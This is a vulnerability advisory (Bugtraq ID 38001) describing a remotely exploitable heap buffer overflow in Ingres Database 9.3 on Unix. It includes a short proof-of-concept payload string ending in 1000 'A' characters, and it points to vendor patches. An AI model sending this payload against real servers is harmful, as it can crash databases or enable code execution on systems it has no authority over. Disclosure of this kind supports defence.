Ingres Database Heap Buffer Overflow Vulnerability

Bugtraq ID:	38001
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 29 2010 12:00AM
Updated:	Feb 09 2010 03:31PM
Credit:	Evgeny Legerov
Vulnerable:	Ingres Corporation Ingres Database 9.3
Not Vulnerable:

Ingres Database Heap Buffer Overflow Vulnerability

Ingres Database is prone to a heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with the privileges of the application or crash the affected application.

Ingres Database 9.3 on Unix is vulnerable; other versions may also be affected.

Ingres Database Heap Buffer Overflow Vulnerability

The following proof of concept is available:

s = "\x00\x00\x00\x00"
s += "\xff\xff\xff\xff"
s += "\x3c\x00\x00\x00\x06\x00\x00\x00"
s += "A" * 1000

Ingres Database Heap Buffer Overflow Vulnerability

Solution:
Updates are available. Please contact the vendor to obtain patches for Ingres Bug 123208.

Ingres Database Heap Buffer Overflow Vulnerability

References:

• Ingres Database Server Homepage (Ingres Corporation )
  
• Ingres 9.3 heap overflow (Evgeny Legerov)